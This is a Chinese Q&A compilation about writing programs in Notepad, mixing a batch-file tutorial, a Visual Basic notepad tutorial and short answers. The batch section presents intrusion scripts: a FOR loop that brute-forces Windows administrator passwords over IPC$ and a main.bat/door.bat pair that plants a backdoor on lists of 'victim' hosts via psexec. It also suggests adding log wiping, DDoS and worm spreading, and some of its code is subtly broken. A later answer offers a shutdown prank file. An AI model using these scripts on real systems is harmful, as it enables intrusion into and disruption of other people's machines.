记事本编程

Ⅰ 如何用记事本编写些好玩的程序

你说的是批处理文件吧！！那你要先了解批处理所要用到的一些命令了。。。。。 一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.5.Pause 命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end :defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。9.If 命令if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms2、if exist 文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。FOR /R [[drive:]path] %variable IN (set) DO command [command-检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。FOR /L %variable IN (start,step,end) DO command [command-para该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command 或者，如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会枚举当前环境中的环境变量名称。另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。sample2：利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。sample3：你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 二.如何在批处理文件中使用参数
批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^
sample2：
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3

Ⅱ 怎么用记事本编程

跟我学做记事本-编程实例
用VB做一个记事本实在不很复杂，我们完全可以通过向导来很方便地做出来。但本文只打算讨论用手动方法制作记事本，旨在向VB初学者展示：学VB原来是如此容易！
通过阅读、研究本文并按本文所述进行尝试，初学者将学到很多东西,如怎样使用RichText控件来打开和保存文件，怎样制作菜单、工具栏和状态栏以及如何对其编写代码等。

第一章 让我们的记事本马上运行

急于求成是初学者共有的心愿。那好，请按如下三个步骤做，我们的愿望立即就可以实现！

步骤一：绘制界面。

新建一个标准EXE工程，将其Caption属性改为“超级记事本”，点击Icon属性给它找个合适的Icon图标。单击菜单“工程”-“部件”，在弹出的“部件”对话框里找到Microsoft

RichText Box 6.0和公共对话框Microsoft Common Dialog 6.0并选中它们，单击“确定”按钮。这时左边的工具栏上出现了我们刚才新添的两个控件了。在窗体上绘制RichText

Box和Commn Dialog，其中RichText Box的大小和位置可不用理睬，我们将在代码中处理它，当然，有必要把它的ScrollBar属性设为2-rtfVertical，这样在打开和编辑文件时垂直滚动条才可用。

步骤二：编辑菜单。

按Ctrl+E调出菜单编辑器，我们来做如下几个菜单：

一.文件菜单：

文件（第一层） mnuFile

新建（第二层） mnuNew

打开（第二层） mnuOpen

保存（第二层） mnuSave

- （第二层） mnuFileSep (分隔线）

退出（第二层） mnuExit

二.编辑菜单：

编辑（第一层） mnuEdit

复制（第二层） mnuCopy

剪切（第二层） mnuCut

粘贴（第二层） mnuPaste

- （第二层） mnuEditSep （分隔线）

全选（第二层） mnuSelecAll

三.搜索菜单：

搜索（第一层） mnuSearch

查找（第二层） mnuFind

查找下一个（第二层） mnuFindOn

四.帮助菜单：

帮助（第一层） mnuHelp

使用说明（第二层） mnuUsage

关于（第二层） mnuAbout

(注：各菜单项的快捷键请自行设置)

好了，其它的菜单项以后再根据需要添加。现在进入：

步骤三：编写代码。

'声明查找变量

Dim sFind As String

'声明文件类型

Dim FileType, FiType As String

'初始化程序

Private Sub Form_Load()

'设置程序启动时的大小

Me.Height = 6000

Me.Width = 9000

End Sub

'设置编辑框的位置和大小

Private Sub Form_Resize()

On Error Resume Next '出错处理

RichTextBox1.Top=20

RichTextBox1.Left=20

RichTextBox1.Height = ScaleHeight-40

RichTextBox1.Width = ScaleWidth-40

End Sub

'新建文件

Private Sub mnuNew_Click()

RichTextBox1.Text = "" '清空文本框

FileName = "未命名"

Me.Caption = FileName

End Sub

'打开文件

Private Sub mnuOpen_Click()

CommonDialog1.Filter = "文本文档(*.txt)|*.txt|RTF文档(*.rtf)|*.rtf|所有文件(*.*)|*.*"

CommonDialog1.ShowOpen

RichTextBox1.Text = "" '清空文本框

FileName = CommonDialog1.FileName

RichTextBox1.LoadFile FileName

Me.Caption = "超级记事本：" & FileName

End Sub

'保存文件

Private Sub mnuSave_Click()

CommonDialog1.Filter = "文本文档(*.txt)|*.txt|RTF文档(*.rtf)|*.rtf|所有文件(*.*)|*.*"

CommonDialog1.ShowSave

FileType = CommonDialog1.FileTitle

FiType = LCase(Right(FileType, 3))

FileName = CommonDialog1.FileName

Select Case FiType

Case "txt"

RichTextBox1.SaveFile FileName, rtfText

Case "rtf"

RichTextBox1.SaveFile FileName, rtfRTF

Case "*.*"

RichTextBox1.SaveFile FileName

End Select

Me.Caption = "超级记事本：" & FileName

End Sub

'退出

Private Sub mnuExit_Click()

End

End Sub

'复制

Private Sub mnuCopy_Click()

Clipboard.Clear

Clipboard.SetText RichTextBox1.SelText

End Sub

'剪切

Private Sub mnuCut_Click()

Clipboard.Clear

Clipboard.SetText RichTextBox1.SelText

RichTextBox1.SelText = ""

End Sub

'全选

Private Sub mnuSelectAll_Click()

RichTextBox1.SelStart = 0

RichTextBox1.SelLength = Len(RichTextBox1.Text)

End Sub

'粘贴

Private Sub mnuPaste_Click()

RichTextBox1.SelText = Clipboard.GetText

End Sub

'查找

Private Sub mnuFind_Click()

sFind = InputBox("请输入要查找的字、词：", "查找内容",

sFind)

RichTextBox1.Find sFind

End Sub

'继续查找

Private Sub mnuFindOn_Click()

RichTextBox1.SelStart = RichTextBox1.SelStart + RichTextBox1.SelLength + 1

RichTextBox1.Find sFind, , Len(RichTextBox1)

End Sub

'使用说明

Private Sub mnuReadme_Click()

On Error GoTo handler

RichTextBox1.LoadFile "Readme.txt", rtfText '请写好Readme.txt文件并存入程序所在文件夹中

Me.Caption = "超级记事本：" & "使用说明"

Exit Sub

handler:

MsgBox "使用说明文档可能已经被移除，请与作者联系。",

vbOKOnly, " 错误信息"

End Sub

'关于

Private Sub mnuAbout_Click()

MsgBox "超级记事本 Ver1.0 版权所有(C) 2001 土人",vbOKOnly,"关于"

End Sub

'设置弹出式菜单（即在编辑框中单击鼠标右键时弹出的动态菜单）

Private Sub RichTextBox1_MouseDown(Button As Integer, Shift As Integer, X As

Single, Y As Single)

If Button = 2 Then

PopupMenu mnuEdit, vbPopupMenuLeftAlign

Else

Exit Sub

End If

End Sub

'防止在切换输入法时字体自变(感谢王必成先生提供此方案)

Private Sub RichTextBox1_KeyUp(KeyCode As Integer, Shift As Integer)

If KeyCode = vbKeySpace Then

RichTextBox1.SelFontName = CommonDialog1.FontName

End If

End Sub

至此，我们的记事本可以编译使用了。点击菜单“文件”-“生成XXX.EXE”，回到桌面运行我们的记事本看看，是不是颇有成就感？

当然，这样的记事本还比较粗糙,我们还需要做些工作，请看下一章。

第二章 美化程序界面

多数字处理软件都有工具栏和状态栏。工具栏和状态栏除了能美化我们的程序使其更具有专业性质外，还给用户带来操作上的便利。现在我们就来做一做这两样东西。

一.工具栏

(一)制作工具栏

单击“工程”-“部件”，选中Microsoft Windows Common Control 6.0并确定。这时，我们要用到的控件就出现在左边的工具栏上了。

要做工具栏，首先需要一个叫ImageList的控件来装载图像。在程序界面上添加它，然后右键单击此控件，左键单击“属性”，弹出“属性页”对话框的“图像”，再单击“插入图片”就可以一次性装载图片了（如不满意，以后还可以添加）。图片可在C:Microsoft

Visual _W95下选择(这里假设你的VB安装在C盘下)。注意了：在插入图片时给每一张图片注明关键字，以便在引用图片时不至于混乱。如插入“新建”的图片，我们在“关键字”栏注明“New”。

图片有了，接下来在程序界面添加工具栏(ToolBar)。添加后工具栏就出现在菜单下面，右键单击它，选择“属性”，在弹出的“属性页”对话框中的“通用”项作些设置，主要如下两项：

1.“图像列表”：选择ImageList1

2.“样式”：根据喜爱选择1-trbStandard或者2-trbFlat

继续点击“属性页”的“按钮”选项，插入若干按钮。按钮有多种样式，请根据需要设置。这里请一定注意：每一个与用户操作有关的按钮都必须注明关键字、装载图片，如“新建”按钮，在“关键字”项注明“新建”，在“图像”项键入“New”（即ImageList1中的图片关键字）,需要的话还可以在“工具提示文本”项填入适当的提示语。

(二)编写工具栏的按钮代码

工具栏按钮的代码编辑很简单，可以按照下面的格式去编写：

Private Sub ToolBar1_ButtonClick(ByVal Button As MSComctlLib.Button)

On Error Resume Next '出错处理

Select Case Button.Key '按关键字选择

Case "新建"

mnuNew_Click '等于菜单项“新建”被单击

Case "打开" '等于菜单项“打开”被单击

mnuOpen_Click

'......(继续编写其它按钮的代码)

End Select

End Sub

完成后试运行一下我们的程序，我们发现，有了工具栏之后，程序变得漂亮多了，只是有一个问题：打开一个较长的文档后，编辑框的下拉滚动条向上的箭头不见了。原因是：工具条占用一定的空间。解决方法：将“设置编辑框的位置和大小”中的RichTextBox1.Top

= 20 和 RichTextBox1.Height = Me.ScaleHeight - 40分别改为RichTextBox1.Top =

380，RichTextBox1.Height = Me.ScaleHeight - 400即可。

二.状态栏

(一)制作状态栏

状态栏的英文名字叫StatusBar，在窗体上添加它后会默认出现在窗体的最下方。用鼠标右键点击它，调出“属性页”对话框，单击“窗格”项，插入一些窗格，可以将各个窗格的“样式”设置为：

0-sbrText 显示文本，需编写代码

1-sbrCaps 显示大小写状态，无需编程

2-sbrNum 显示NumLock键开关状态，无需编程

3-sbrIns 显示Insert键状态，无需编程

4-sbrScr1

5-sbrTime 显示时间，不编程时时间不会随系统时钟变化

6-sbrDate 显示日期，无需编程

注意：加进状态栏后需将Form_Resze中的RichTextBox1.Height =

Me.ScaleHeight - 400改为RichTextBox1.Height = Me.ScaleHeight - 600。

(二)状态栏根据其“样式”属性决定用不用编写代码(如上文所述)。下面举些例子，读者可以认真揣摩，从而达到举一反三的效果。

例一：用户选取了“新建”后，让第一个窗格显示：“目前状态：正在打开文件《……》”。请将下面代码写进“打开”菜单里面：

StatusBar1.Panels(1).Text = "目前状态：正在打开文件"

& "《" &CommonDialog1.FileTitle & "》"

例二：让第三个窗格显示时间并让时间跟随系统时钟变化。

首先，给程序加一个Timer控件，将其Interval属性设为1000。然后：

在Form_Load过程加入：StatusBar1.Panels(1).Text = Time；然后给Timer控件编写代码：

Private Sub Timer1_Timer()

If StatusBar1.Panels(3).Text > CStr(Time) Then

StatusBar1.Panels(3).Text = Time

End If

End Sub

例三：当编辑框的文本发生变化时让第一个窗格显示：“正在编辑文档：文件名”。

Private Sub RichTextBox1_Chang()

StatusBar1.Panels(1).Text = "正在编辑文档：" &

CommonDialog1.FileName

End Sub

辛苦了那么久，我们现在已经拥有一个象模象样的记事本了。这个记事本由于用了RichText控件，理论上它能打开和编辑任意大的文档，使用起来的确比Windows自带的记事本方便得多。当然，还有一些其它的功能需要添加和完善，这就靠你慢慢去完成了。

Ⅲ 用"记事本"可以编程吗

记事本可以用于一些脚本语言的编程，以vba语言为例，实例如下：

1、启动记事本，编辑以下代码：

dim a,b,s

a=inputbox("请输入矩形的长:")

b=inputbox("请输入矩形的宽:")

s=a*b

msgbox "矩形的面积为" & s

2、点击文件菜单另存为命令，输入文件名1.vbs，保存类型选择所有文件，点击保存；

Ⅳ 用记事本编写程序的方法

用举例了，就像在编程软件环境下一样，只不过在检测或者完成时，“改后缀”，把它改成标准程序后缀，有什么问题时再改成TXT后缀继续编写

Ⅳ 电脑自带的记事本怎么用来编程

那要看看你编写的是什么程序了。举个例子来说吧，我现在要编写一个C++程序。就把代码写在记事本上，然后保存为.CPP文件就可以了；不过要注意的是你电脑上必须要安装能够识别.CPP文件的编译程序(就是C语言编译器啦)；把写好的.CPP文件导入到编译程序就能够编译运行了....

Ⅵ 如何用记事本编程

别去考虑用“记事本编程”，个人理解，所谓的“记事本编程”，无非是指两方面的意思：
其一，指所写的程序非常简单、也很短。比如一些脚本代码、批处理代码等，没有很复杂的流程等，用记事本可以快速写就的一些程序或代码。
其二，说自己用“记事本编程”，显示一下自己对某门语言的精通，根本不需要助记环境就能写出来。
至于如何用记事本编程，很简单了，打开记事本，在里面写上几句程序（当然是指脚本程序，比如ASP等），保存并执行。
如：在记事本里写上这么一行：
----------
现在是：<%=now%>
----------
保存为test.asp，然后放到IIS目录下，从浏览器访问，就能得到现在的时间。
这就是所谓的记事本编程，没什么神秘。
事实上，没必要强调用记事本编程，每种语言都有各自最适合的开发编程环境，如VC/C++，VB等最合适的工具是VS6，.net最合适的工具是vs2005等。
对ASP、PHP等，因为语法不复杂，倒是经常用一些文本编辑器来写代码，比如EDITPLUS、ULTRAEDIT等，这些工具虽然没有助记功能，但编辑功能非常强大，而且运行快速方便，倒近似于记事本编程的说法，只不过也绝非简单的记事本。
呵呵~~~
胡谄这几句：）

Ⅶ 记事本脚本编程怎么编

很简单，我给你一个很简单的例子，用记事本做一个批处理脚本文件：新建个记事本，打开，输入“shutdown -s -t 1”保存，然后你把这个文件的*.txt后缀改为*.bat后缀。你点击下，很奇妙的事会发生。

Ⅷ 怎样用记事本编程（最基础的）

是用记事本写代码吧。不管用什么写代码都是一样的，用记事本写的话，保存的时候要选择“另存为”，在保存类型处选择“所有类型”，在文件名处写“文件名.html”。这样就行了。。
不知道你问的是不是这个。

Ⅸ 记事本怎样编程序

只能编写简单的东西，根据你要制作的东西，输入正确的语言，更改扩展名即可。但是这限于很简单的，类似REG注册表导入临时文件之类的

Ⅹ 记事本编程用的是什么语言（windows 自带的那种）

你可以用反汇编工具查看Windows下的记事本是用什么工具编写的
一般来说是VC吧
你自己也可以编一个，完成读写文件的功能即可